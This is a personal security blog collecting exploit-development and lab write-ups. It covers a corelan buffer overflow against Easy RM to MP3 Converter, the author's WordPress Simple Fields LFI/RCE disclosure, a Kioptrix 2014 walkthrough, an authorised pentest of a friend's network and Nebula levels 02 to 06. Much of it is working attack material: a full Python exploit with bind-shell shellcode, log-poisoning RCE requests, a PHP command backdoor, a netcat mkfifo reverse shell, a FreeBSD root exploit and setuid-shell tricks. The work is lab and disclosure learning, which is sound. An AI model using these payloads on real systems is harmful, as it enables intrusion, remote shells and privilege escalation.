Learning more about buffer overflow exploits

Preamble

After passing OSCP, I took a bit of a break from studying, but I’ve decided to get back on it and start learning more about exploit development, since that was part of the OSCP course that I found very interesting.

I had heard about the series of tutorials on the corelan blog so I started to work through the first one and in doing so I hit a few problems and learned a few interesting things that I thought might be useful to others.

After mentioning to a colleague that I was learning about exploit development, they mentioned that fuzzysecurity has some good exploit development tutorials too, so I will check those out in parallel.

Anyway, let’s get on with my experiences while following corelan’s “Exploit writing tutorial part 1“:

Setting up the environment

The first thing I had to do was get a Windows XP VM up and running, install the vulnerable version of “Easy RM to MP3 Converter” and create an m3u file that would cause the application to crash. I’ll explain how I got a copy of Windows XP running in a VM for free (I could probably get this through my MSDN subscription, but that’s not necessary) and how I downloaded the app and created the m3u exploit file (hint: I didn’t use the perl script in corelan’s article).

Windows XP VM

Microsoft offers a Windows XP VM as a free download. It is intended to be run in Windows 7, providing a way of running programs that run on XP, but won’t on Windows 7, for example 16 bit executables. This “feature” is called “XP Mode”.

The download is an executable. If we inspect the exe file (using something like 7zip, don’t execute it!), we can extract the file “sources/xpm”, then rename it to xpm.cab and extract the “VirtualXPVHD” file from it. Rename this file to “VirtualXP.VHD” and then create a new VM in virtual box and use this file as the hard disk. It may be worth taking a snapshot before you start the VM because it will not be licensed and will stop working after 30 days. If you take a snapshot, you can revert it and get 30 days use out of it again.

Easy RM to MP3 Converter

I downloaded this from here on exploit-db. The link comes from this exploit page.

Creating m3u that causes crash

I use both python and perl at work, but I have more experience in python and I prefer it, so I installed python (I installed version 2.7.15 because it’s the latest v2.x and it supports Windows XP, where the latest v3.x doesn’t support Windows XP) and ported the code from perl to python. This is what I used to create the first m3u file from the article:

#!/usr/bin/env python


with open("crash.m3u", "w") as file:
    file.write("A" * 10000)


print "m3u File Created successfully"

It doesn’t cause the crash, but if the number of “A”s is changed to 30000 then it will.

Debugging

I decided to use Immunity debugger because I think it has a nicer interface and can do more than Windbg. I also added mona.py (also from corelan) and used some of it’s features to make the process easier. The manual for mona.py which includes instructions to download and install it can be found here.

Finding the offset to overwrite EIP

This section details finding the exact place in the m3u file that we need to put the bytes that we want to end up in EIP. It starts off by splitting the 30000 bytes into two chunks; the first one is 25000 and the second one is 5000. Then after determining that the bytes from the second (smaller) chunk are placed in EIP, a more accurate method is used to find the exact bytes. I tried to skip this step, which gave me incorrect results and it took me quite some time to figure out why. I’ll explain what tripped me up:

The article explains how to use a tool from the Metasploit framework to generate a pattern where the exact offset of a string of bytes can be identified. Incidentally, this syntax for this tool has changed, and it has moved in Kali (the successor to Backtrack, which it looks like is being used in this article). In Kali, it can be found at /usr/share/metasploit-framework/tools/exploit/pattern_create.rb but there is a symlink to it at /usr/bin/msf-pattern_create, so it can be run by just typing “msf-pattern_create”. I decided that since I have mona.py installed, I would just use that tool since it meant I didn’t need to start my Kali VM. I used mona.py to create a 30000 byte pattern using the command “!mona pc 30000” in Immunity debugger. A pattern is output to the log, but it’s truncated, so it can be copied from “C:\Program Files\Immunity Inc\Immunity Debugger\pattern.txt”.

I stuck this pattern in my python file and created a new m3u like this:

#!/usr/bin/env python


PATTERN = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1...Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9"


with open("crash.m3u", "w") as file:
file.write(PATTERN) 


print "m3u File Created successfully"

and when I opened that file with Immunity attached, I saw the bytes “48386B48” in EIP. I used mona.py to locate those bytes (using the command “!mona po 48386B48”) in the pattern and it said they were at offset 5784. When I changed the bytes at that position in the m3u file, it didn’t make a difference to EIP shown in Immunity when I reloaded the file. I eventually discovered that the pattern created by Metasploit and mona is only 20,280 (26*26*10*3) bytes long and after that it starts again. The byte pattern in EIP was indeed the same as at offset 5784, but it was also at offset 26064 (5784 + 20280) and those are the bytes that made it into EIP! I should have just followed the steps, but I did end up learning the limitations of that pattern generator and offset locator.

\xCC AKA INT3 aka “break”

The article skips over what this mysterious \xCC byte does. A quick google search led me to an article on wikipedia that explained that it’s special single byte interrupt instruction for use by debuggers, so when the program hits this instruction, Immunity will pause execution so we can inspect the state of the registers and memory. Very useful!

Finding a JMP ESP instruction

The article covers how to find a JMP ESP instruction using Windbg, but not Immunity. I turned to mona.py again and used the command:

!mona f -type instr -s "jmp esp" -o -cp nonull

…which showed me some location in the log, but also wrote them to “C:\Program Files\Immunity Inc\Immunity Debugger\find.txt”

Creating my own Shellcode using Metasploit

I tried creating my own shellcode to spawn calc using “msfvenom -p windows/exec -f python”, but it didn’t work. Looking in the debugger, I could see that my Shellcode was being truncated. This was because my shellcode contained at least one null byte (\x00), but that wasn’t the only byte that caused the shellcode to become truncated, as I found out when I removed the null bytes. The article didn’t make it clear, but I would have to specify which bytes to exclude from the shellcode. Of course, I could use the the alpha_upper encoder which is shown later in the article, but I wanted to have a small shellcode. To find the bad bytes, I wanted to create a sequence of bytes 00 to FF and put them in the m3u file. I created the sequence of bytes again using mona.py. The command was “!mona ba” and mona would output to the log, but also to “C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.txt” and I could stick that in my python script so that it would be written in the m3u file. Every time I saw a byte cause truncation or get swapped with another byte, I would add that to the list of bad chars for msfvenom to avoid. I ended up actually only finding two bad bytes; \x00 \x0A. To generate my own shellcode that spawned calc, I ran this command:

msfvenom -p windows/exec -f python -b "\x00\x0a" CMD=calc

Completed python script to create bind shell exploit

#!/usr/bin/env python

# msfvenom -p windows/shell_bind_tcp -e x86/alpha_upper -f python EXITFUNC=seh
buf = ""
buf += "\x89\xe3\xda\xdc\xd9\x73\xf4\x5e\x56\x59\x49\x49\x49"
buf += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
buf += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
buf += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
buf += "\x4a\x49\x4b\x4c\x4d\x38\x4b\x32\x55\x50\x35\x50\x35"
buf += "\x50\x55\x30\x4b\x39\x4b\x55\x36\x51\x39\x50\x52\x44"
buf += "\x4c\x4b\x36\x30\x46\x50\x4c\x4b\x46\x32\x44\x4c\x4c"
buf += "\x4b\x50\x52\x32\x34\x4c\x4b\x33\x42\x57\x58\x34\x4f"
buf += "\x4e\x57\x50\x4a\x56\x46\x50\x31\x4b\x4f\x4e\x4c\x57"
buf += "\x4c\x35\x31\x33\x4c\x35\x52\x56\x4c\x47\x50\x4f\x31"
buf += "\x58\x4f\x54\x4d\x55\x51\x58\x47\x5a\x42\x4c\x32\x31"
buf += "\x42\x51\x47\x4c\x4b\x36\x32\x52\x30\x4c\x4b\x31\x5a"
buf += "\x57\x4c\x4c\x4b\x50\x4c\x52\x31\x53\x48\x4a\x43\x37"
buf += "\x38\x53\x31\x48\x51\x46\x31\x4c\x4b\x36\x39\x31\x30"
buf += "\x33\x31\x58\x53\x4c\x4b\x57\x39\x52\x38\x4b\x53\x37"
buf += "\x4a\x47\x39\x4c\x4b\x47\x44\x4c\x4b\x33\x31\x49\x46"
buf += "\x56\x51\x4b\x4f\x4e\x4c\x39\x51\x38\x4f\x54\x4d\x43"
buf += "\x31\x48\x47\x47\x48\x4d\x30\x52\x55\x4b\x46\x33\x33"
buf += "\x43\x4d\x5a\x58\x57\x4b\x53\x4d\x47\x54\x34\x35\x5a"
buf += "\x44\x50\x58\x4c\x4b\x30\x58\x47\x54\x33\x31\x59\x43"
buf += "\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x46\x38\x35"
buf += "\x4c\x33\x31\x39\x43\x4c\x4b\x44\x44\x4c\x4b\x35\x51"
buf += "\x58\x50\x4c\x49\x30\x44\x47\x54\x36\x44\x31\x4b\x31"
buf += "\x4b\x45\x31\x30\x59\x31\x4a\x46\x31\x4b\x4f\x4b\x50"
buf += "\x51\x4f\x31\x4f\x51\x4a\x4c\x4b\x45\x42\x5a\x4b\x4c"
buf += "\x4d\x51\x4d\x42\x48\x47\x43\x36\x52\x43\x30\x55\x50"
buf += "\x32\x48\x42\x57\x32\x53\x57\x42\x31\x4f\x31\x44\x42"
buf += "\x48\x50\x4c\x54\x37\x37\x56\x34\x47\x4b\x4f\x4e\x35"
buf += "\x48\x38\x4a\x30\x43\x31\x45\x50\x45\x50\x56\x49\x49"
buf += "\x54\x56\x34\x30\x50\x33\x58\x57\x59\x4d\x50\x32\x4b"
buf += "\x35\x50\x4b\x4f\x59\x45\x42\x4a\x53\x38\x51\x49\x36"
buf += "\x30\x5a\x42\x4b\x4d\x57\x30\x46\x30\x57\x30\x30\x50"
buf += "\x32\x48\x5a\x4a\x44\x4f\x59\x4f\x4b\x50\x4b\x4f\x48"
buf += "\x55\x5a\x37\x33\x58\x44\x42\x43\x30\x54\x51\x31\x4c"
buf += "\x4d\x59\x4d\x36\x52\x4a\x44\x50\x51\x46\x46\x37\x32"
buf += "\x48\x39\x52\x49\x4b\x46\x57\x55\x37\x4b\x4f\x39\x45"
buf += "\x30\x57\x45\x38\x58\x37\x5a\x49\x37\x48\x4b\x4f\x4b"
buf += "\x4f\x38\x55\x46\x37\x43\x58\x34\x34\x5a\x4c\x57\x4b"
buf += "\x4d\x31\x4b\x4f\x4e\x35\x31\x47\x5a\x37\x45\x38\x32"
buf += "\x55\x42\x4e\x50\x4d\x43\x51\x4b\x4f\x48\x55\x33\x58"
buf += "\x42\x43\x32\x4d\x32\x44\x43\x30\x4b\x39\x4a\x43\x51"
buf += "\x47\x31\x47\x51\x47\x56\x51\x4c\x36\x42\x4a\x34\x52"
buf += "\x51\x49\x30\x56\x4d\x32\x4b\x4d\x45\x36\x49\x57\x57"
buf += "\x34\x57\x54\x47\x4c\x33\x31\x53\x31\x4c\x4d\x47\x34"
buf += "\x37\x54\x44\x50\x48\x46\x45\x50\x51\x54\x31\x44\x30"
buf += "\x50\x56\x36\x50\x56\x51\x46\x51\x56\x51\x46\x30\x4e"
buf += "\x50\x56\x56\x36\x51\x43\x56\x36\x53\x58\x54\x39\x38"
buf += "\x4c\x57\x4f\x4c\x46\x4b\x4f\x48\x55\x4b\x39\x4d\x30"
buf += "\x50\x4e\x50\x56\x37\x36\x4b\x4f\x46\x50\x52\x48\x43"
buf += "\x38\x4c\x47\x45\x4d\x45\x30\x4b\x4f\x49\x45\x4f\x4b"
buf += "\x4b\x4e\x44\x4e\x47\x42\x4b\x5a\x53\x58\x4e\x46\x4a"
buf += "\x35\x4f\x4d\x4d\x4d\x4b\x4f\x38\x55\x57\x4c\x54\x46"
buf += "\x53\x4c\x45\x5a\x4b\x30\x4b\x4b\x4b\x50\x42\x55\x54"
buf += "\x45\x4f\x4b\x31\x57\x54\x53\x52\x52\x52\x4f\x42\x4a"
buf += "\x35\x50\x50\x53\x4b\x4f\x4e\x35\x41\x41"

with open(r"c:\documents and settings\administrator\desktop\mal.m3u", "w") as file:
    file.write(26064 * "A")
    file.write("\x2a\xb2\xd4\x01") # JMP ESP
    file.write("\x90" * 25) # NOP * 25
    file.write(buf)

print "Done"

I discovered a vulnerability in a wordpress plugin

I was reviewing some code recently that had been written by someone that I knew and I found an LFI vulnerability using directory traversal. I explained it to them and they fixed it, but not quite well enough, so I showed them again how it could be exploited in a different way, and this time the fixed it properly. Hopefully they learnt a lesson on the way that they should always sanitise user input.

It was thrilling to discover an exploit like this myself so I decided to search public code repositories for obviously vulnerable lines of code. I found a wordpress plugin called simple fields that had a LFI vulnerability in due to unsanitised user input. It can even lead to RFI or RCE depending on how the web server is configured (e.g. allow_url_include is enabled or of apache logs can be poisoned and loaded). It actually looks like it was fixed in later versions because the lines containing the vulnerability were commented out, but old versions my still be installed on some sites.

I submitted the vulnerability to the exploit database and it has been published here.

I knew how the vulnerability should work, but I needed to verify it, so I had to set up an environment to test it. The vulnerability requires version 0.2 – 0.3.5 of simple fields and it must be hosted on a system running 5.3.3 or older php. It’s pretty hard to install 5.3.3 or older php these days. There won’t be a php package of that version in any default repositories. The easiest way I found of installing it was to install camp 1.7.2 on Linux (I used Ubuntu 16.0.4)

PHP <5.3.4 is required because the exploit relies on the ability to inject a null byte to terminate a string before the script expects it to be and this was fixed in PHP 5.3.4

The vulnerable line of code in simple_fields.php is:

require( $_GET["wp_abspath"] . './wp-blog-header.php' );

Proof of concept LFI:

http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=/etc/passwd%00

This works because the null byte terminates the string, so the trailing “./wp-blog-header.php” is ignored.

Proof of concept RCE:

$ echo "<?system(\$_GET['cmd'])?>"|nc host 80
$ curl "http://host/wordpress/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=../../../../../logs/access_log%00&cmd=id"

This works because we first poison the apache logs with some php that will run whatever command was submitted as the value for “cmd” in the query string, and then we use the LFI to include the poisoned log and the command we want to run.

This vulnerability is admittedly not that likely to show up in the wild since it requires an old version of php, and an old version of a plugin that isn’t even supported any more, but it could be present on some old systems.

Kioptrix 2014

My lab time in the PWK course labs ran out a while back and I wasn’t ready for the exam. I think I understand all the theory that I need, it just takes m e too long to PWN systems, so I decided to try a few Vulnhub VMs. This article has a list of 10 that I will be trying, the first of which is Kioptrix 2014.

There are already walkthroughs all over the web, so I don’t feel like I’m giving away any spoilers here. I’m mostly documenting it for my own notes, but of course it can be used for hints if you’re going to give it a try.

I wanted to run in in VirtualBox, which requires the use of the extra “kiop2014_fix.zip” file as wall as the VMDK from the main kiop2014.tar.bz2

After starting the VM, I had to find the system’s IP address, so I ran netdiscover and it was quickly found. To find the open ports and identify the services, I ran nmap:

root@kali:~# nmap [IP-REDACTED] -sV

Starting Nmap 7.40 ( https://nmap.org ) at 2017-10-11 15:59 EDT
Nmap scan report for kioptrix2014.lan ([IP-REDACTED])
Host is up (0.00044s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 08:00:27:DC:55:1C (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.66 seconds

Opening a web browser on port 8080 shows a 403 forbidden error message. Nothing too interesting in the response. The page returned on port 80 is more interesting though… When rendered, it’s just a heading that says “It works!”, but the source includes a commented out <meta refresh> that would redirect the browser to http://[IP-REDACTED]/pChart2.1.3/examples/index.php.

Initially, I thought I could inject some PHP in here. For example if I went to the sandbox and  changed my chart title to -“.shell_exec(“whoami”).”- then clicked the “Show code” button, it showed me that one line of code that would run would be

$myPicture->drawText(350,25,"-".shell_exec("whoami")."-",$TextSettings);

but when I clicked “Render picture”, the title was-“.shell_exec(“whoami”).”-, so it must have escaped it somehow when it really made the picture. Damn.

Next thing to try is looking for a known exploit for pChart:

root@kali:~# searchsploit pchart
--------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
--------------------------------------------- ----------------------------------
pChart 2.1.3 - Multiple Vulnerabilities | php/webapps/31173.txt
--------------------------------------------- ----------------------------------

That txt file suggests that I can read any file on the system that the account running apache can read using a maliciously crafted url, for example http://[IP-REDACTED]/examples/index.php?Action=View&Script=/etc/passwd

Interestingly, we can see how this exploit works by examining the first line of index.php, which can be seen by visiting http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action=View&Script=index.php , which is:

<?php if ( isset($_GET["Action"])) { $Script = $_GET["Script"]; highlight_file($Script); exit(); } ?>

. We don’t even really need a value set for “Action”; http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action&Script=index.php works just as well.

Anyway, there’s not much of great interest that this account can access, but perhaps we can find out why we are seeing a 403 forbidden response when we connect to port 8080…

The apache config file on FreeBSD is located in /usr/local/etc/apache2x/httpd.conf, (on this system, since it’s apache 2.2, we should replace the “x” with a “2”) so we’ll look at that with http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action&Script=/usr/local/etc/apache22/httpd.conf and at the bottom of the file is:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser
</Directory>

This tells us that port 8080 is serving files from /usr/local/www/apache22/data2, and that requests will only be allowed if the user agent starts with “Mozilla/4.0 Mozilla4_browser” . See https://httpd.apache.org/docs/2.4/mod/mod_setenvif.html and http://httpd.apache.org/docs/current/mod/mod_access_compat.html#allow for more details of how that works.

Changing our user agent to “Mozilla/4.0 Mozilla4_browser_NOT REALLY!” makes apache respond to our requests to port 80, and the response says that there is a directory called phptax. This shows us a very ugly and dated web application that I clicked around, but couldn’t find anything interesting, so I used searchsploit again:

root@kali:~# searchsploit phptax
------------------------------------------------------------------ ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------ ----------------------------------
PhpTax - pfilez Parameter Exec Remote Code Injection (Metasploit) | php/webapps/21833.rb
phptax 0.8 - Remote Code Execution | php/webapps/21665.txt
PhpTax 0.8 - File Manipulation (newvalue) / Remote Code Execution | php/webapps/25849.txt
------------------------------------------------------------------ ----------------------------------

The second one looks interesting, it basically says that we can get remote code execution because user input is not sanitised before being used in php’s exec() function. I’ll confirm this works by writing a single line php backdoor file by visiting http://[IP-REDACTED]:8080/phptax/drawimage.php?pfilez=xxx;echo “<?php echo shell_exec(\$_GET[‘e’].’ 2>%261′);?>”>backdoor.php;&pdf=make in my browser, then http://[IP-REDACTED]:8080/backdoor.php?e=whoami to make sure it worked. It did, and now I can execute shell commands and see the output

It would be really nice to have a remote shell. I tried using “nc <IP> <PORT> -e /bin/sh”, but that didn’t work and “nc -h” showed why; -e is for specifying an IPsec policy (whatever that means) on this version of nc. We’ll have to try something else; I remember some time ago that I was able to use a named fifo pipe in order to get a shell with nc. This command worked for me to connect to a netcat listener:

mkfifo pipe;nc [IP ADDR] [PORT]<pipe|/bin/sh>pipe 2>pipe;rm pipe

Running “uname -r” tells us that we’re on a FreeBSD 9.0 system. Let’s try to get root. Back to searchsploit:

root@kali:~# searchsploit -t FreeBSD 9
------------------------------------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------------- ----------------------------------
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20810.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20811.cpp
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | windows/dos/20812.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20813.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | windows/dos/20814.c
FreeBSD 9.1 ftpd - Remote Denial of Service | freebsd/dos/24450.txt
FreeBSD mcweject 0.9 (eject) - Buffer Overflow Privilege Escalation | bsd/local/3578.c
BSD/OS 2.1 / DG/UX 4.0 / Debian 0.93 / Digital UNIX 4.0 B / FreeBSD 2.1. | unix/local/19203.c
FreeBSD 9.0 < 9.1 mmap/ptrace - Privilege Escalation | freebsd/local/26368.c
FreeBSD 9 - Address Space Manipulation Privilege Escalation (Metasploit) | freebsd/local/26454.rb
FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation | freebsd/local/28718.c
FreeBSD/x86 - rev connect_ recv_ jmp_ return results Shellcode (90 bytes | freebsd_x86/shellcode/13265.c
FreeBSD/x86 - Rortbind Reverse 127.0.0.1:8000 /bin/sh Shellcode (89 byte | freebsd_x86/shellcode/13267.asm
------------------------------------------------------------------------- ----------------------------------

26368 looks promising, let’s send it to the remote machine. I ran this on my attacking machine:

searchsploit -m 26368;nc -vnlp 6666 <26368.c

then ran this on the remote system:

nc 192.168.23.120 6666 >26368.c

and after a few seconds, I hit CTRL+C to close the nc session. Not I have the exploit on the FreeBSD system, so I can compile it and run it:

gcc 26368.c -o 26368
./26368
whoami
root

We’ve got root! Inside root’s home directory is a nice txt file with some interesting information that we can read using cat

I recently learned that the guy that made this VM (Steven “loneferret” McElrea) passed away a couple of months ago. I’m grateful for the time he put into making this VM and my thoughts go out to his family.

Am I officially a white hat hacker now!?

A while ago, while developing a geocaching app for pebble smartwatches called “Watch Caching”, I noticed a bug that could have security implications, so I reported it to Pebble using the whitehat guidelines set out by theme

It took them a while, but they eventually got back to me and agreed that it was a security vulnerability and wanted to offer me a significant financial reward, as well as put me in the Pebble White Hat Hall of Fame

This also took a while to come to fruition, but they did hold true to their word and sent me the money, followed a few days later by my name being added to the Pebble White Hat Hall of Fame!

My first pentest on a friend’s network

Someone I have know for a while was aware of my growing interest in information security and I had warned them a while ago that their network was probably vulnerable to attack because I had seen some web services that were not password protected running out of their home public IP address.

I saw them over the Christmas/new year period and they gave me permission to try and penetrate their network, specifically they challenged me to change the root password on their unRAID server.

I started off by firing up my Backtrack 5r3 VM and updating everything before registering Nessus and performing a scan of his public IP address.

Nessus didn’t find anything that was listed as critical, but it did show me that we had ssh running on port 22 and it also showed me all other ports that were open and had web servers running on them. I checked them all out and I found on various ports; the default Lion server webpage, SABNZBd, SickBeard, Transmission, and the unRAID server.

The website served by the unRAID server was asking for a username and password using basic access authentication. That was no use so I started looking into the other services. Not only were the operating interfaces unsecured, but their configuration sections were also open to anyone. I saw that SABNZBd was running as “admin” and that it had an option of running scripts when a download had completed. The method was to point SABNZBd to a folder containing scripts, start a download and then choose what script to run on completion. I knew I could download a file using SABNZBd or Transmission to any directory that the admin user had write permissions to, but I didn’t know at this stage how to make it executable.

I saw in SABNZBd’s preferences that I could specify the permissions (in octal format) of files and folders that were downloaded, so I ran SABNZBd on my machine, created a binary post on a newsgroup containing a script that was basically a reverse shell and tested a download to my machine with SABNZBd set to mark everything at 777. It created a folder with 777 permissions, but the file was only 555. Presumably this was for security reasons – damn!

At this point I was wishing that his machine was running Windows not OSX because SABNZBd on Windows only requires that a scripts file extension is in the PATHEXT environment variable. That would have been much easier than getting a file marked as executable.

I had to find another way of making an executable script on that machine. How could I get that machine to run my commands without having an executable script set… The web server or course. I created my single line PHP shell again (mentioned in a previous post) and set Transmission to download files to the Lion web server default folder, created a torrent containing my php script and downloaded the torrent to the server using transmission. I tested it, with the command whoami, and it worked. I was in, but I was only the user _www.

What could I do as _www? Not much, but I was able to create a reverse shell using netcat and take a look around the system. I couldn’t access admin’s files yet, but of course I could write to /tmp. If I could write to /tmp, I could create a script and mark it as executable by everyone. Then I could get SABNZBd to run it! I started thinking about making a script that would create a reverse shell, then it dawned on me: create a public/private key pair and add it to /Users/admin/.ssh/authorized_keys.

I uploaded my public key using my php shell script, and then created an executable script in /tmp that appended my key to authorized_keys.

I started a new SABNZBd download (I decided to just download something that was small, free and released under the CC license) so as no to upset anyone. Obviously I now set my script to run. All went well and I could now ssh into the machine as the admin user without a password.

At this point I cleaned up everything I had downloaded and just left my key in place so I could log in. I took a look around, but I couldn’t see anything to do with the unRAID server, so I thought I should report how far I had got.

They were surprised, and while I didn’t get into the unRAID server, I had gotten a lot further than they thought anyone would be able to. As a result of this, they have since enabled logins on all their web services and removed my public key, but they still do have some vulnerabilities, like ssh running on a default port and allowing password authentication (ripe for brute forcing). They are a lot safer than they were, but it may well be worth me going back and having another go at some point in the future.

A lot of the methods that I have used in this test were inspired by the challenges I have been working through in hackthissite.org and exploit-excercises.com and I’m very grateful to them for making the challenges.

I’m tempted to try and create a VM with this vulnerable setup and release it. I would have to check the licences, but I think most of it could be done using open source solutions (linux, apache, sabnzbd, transmission)

Exploit Exercises – Nebula – Level 06

Even less information about this one:

The flag06 account credentials came from a legacy unix system.
To do this level, log in as the level06 account with the password level06 . Files for this level can be found in /home/flag06.

I had a good idea what I’m looking for here, an easy to crack password hash in /etc/passwd rather than in the shadow file, so:

cat /etc/passwd | grep flag06

shows me the hash is ueqwOCnSGdsuM. I need to “crack” the hash. Time to get john the ripper on the case. At this point I didn’t have any other linux machines to hand, so I went to another tty session on this one and logged in a nebula and installed john (sudo apt-get install john). Then I ran john on the password file (john /etc/passwd) and he showed me the password. I switched over to flag06 account and the password worked as expected.

Exploit Exercises – Nebula – Level 05

Not much information to start on this one:

Check the flag05 home directory. You are looking for weak directory permissions
To do this level, log in as the level05 account with the password level05 . Files for this level can be found in /home/flag05.

The command ll (an alias for ls-alF) showed me that I had read access to ~flag05/.backup, and in there was a backup gzipped tar. Hopefully some goodies in here…

I unpacked the tar and found that it contained a folder called .ssh. This is used for secure shell authentication. That folder contained a private/public key pair and an authorized_keys file. The authorised_keys file is exactly the same as the public key file, so (assuming that the authorised_keys file had not been deleted since the backup) I should be able to ssh in using the private key, as long as it was not encrypted with a passphrase.

I copied the id_rsa file to ~/.ssh and tried to connect using:

ssh flag05@localhost

Bingo!

Exploit Exercises – Nebula – Level 04

The information about this level says:

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it 🙂
To do this level, log in as the level04 account with the password level04 . Files for this level can be found in /home/flag04.

It also contains some source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
 
int main(int argc, char **argv, char **envp)
{
    char buf[1024];
    int fd, rc;
 
    if(argc == 1) {
        printf("%s [file to read]\n", argv[0]);
        exit(EXIT_FAILURE);
    }
 
    if(strstr(argv[1], "token") != NULL) {
        printf("You may not access '%s'\n", argv[1]);
        exit(EXIT_FAILURE);
    }
 
    fd = open(argv[1], O_RDONLY);
    if(fd == -1) {
        err(EXIT_FAILURE, "Unable to open %s", argv[1]);
    }
 
    rc = read(fd, buf, sizeof(buf));
 
    if(rc == -1) {
        err(EXIT_FAILURE, "Unable to read fd %d", fd);
    }
 
    write(1, buf, rc);
}

Its fairly clear from looking at the files and the source code (I will admit I had to use a lot of man to help me understand the source code) that I want to read the contents of “token”, but the program won’t allow it. I tried things like ./token and ../flag04/token, but that didn’t work because the program is just searching for the string “token” anywhere in the first argument. Well… how do I get the contents of that file “into” another file without having permission to read the file? Symbolic link! Here’s what I did:

1
2
ln -s ~flag04/token /tmp/link
~flag04/flag04 /tmp/link

It turns out that the contents of the token file is the password for the flag04 account so I just did su flag04 and used that password. I ran getflag and violà!

Exploit Exercises – Nebula – Level 03

The information about this level says:

Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
To do this level, log in as the level03 account with the password level03 . Files for this level can be found in /home/flag03.

Well looking in ~flag03 there is just one directory (writable.d) file and one file (writable.sh). I’m assuming that the cron job runs writable.sh every couple of minutes so I looked at that script. I can see that the script runs every file in the writable.d folder (which we have write access to), but will kill the process if it takes longer than 5 seconds. It then removes the file.

What we could do is make a quick bash script that will run getflag and save the output like this:

1
2
#!/bin/sh
getflag > /tmp/getflag.out

Which works (after we wait for the cron job to run it), but I want shell! So we’re going to borrow a trick from level01 and create a program that will launch a bash shell and get flag03 to set the setuid bit.

My C program looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
 
int main() {
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, id, gid);
    setresuid(uid, uid, uid);
 
    system("/bin/bash");
}

Now I just compile it with gcc and drop it in /tmp so that flag03 can access it. All I need the cron job to do now is make a copy and set the setuid bit, so here is the script I dropped in ~flag03/writable.d:

1
2
3
#!/bin/sh
cp /tmp/setuidshell /tmp/setuidshell2
chmod u+s /tmp/setuidshell2

This got me a program (/tmp/setuidshell2) in that gave me shell. From here I was able to run getflag, and also to run crontab -l to see that the cron job is actually called every 3 minutes.

Exploit Exercises – Nebula – Level 02

The information about this level says:

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02 . Files for this level can be found in /home/flag02.

It also contains some source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
 
int main(int argc, char **argv, char **envp)
{
    char *buffer;
 
    gid_t gid;
    uid_t uid;
 
    gid = getegid();
    uid = geteuid();
 
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
 
    buffer = NULL;
 
    asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
    printf("about to call system(\"%s\")\n", buffer);
 
    system(buffer);
}

This is similar to the Level 01. An environment variable $USER is being used to construct a string that is printed to the screen before being run. If we can edit that environment variable, we can inject a malicious command.

Initially I changed $USER so that running the program would execute getflag. The command I used was:

USER=;getflag;echo

I’ll break this down:
; – end the command and start a new one
getflag – run the getflag program
; – end the command and start a new one
echo – start a new echo command so that the following arguments don’t cause an error

This results in the following command being run:

/bin/echo ;getflag;echo is cool

I got a success message from get flag, but I wanted shell, so I changed my command to:

USER="Opening escalated shell...;bin/bash;echo Closing pwned shell, now that"

This time I got shell, and some cool text when going into the shell and when coming out (after typing exit)